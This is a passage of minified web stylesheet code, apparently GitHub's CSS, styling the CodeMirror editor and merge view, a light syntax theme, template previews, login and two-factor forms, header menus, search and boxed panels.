transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid 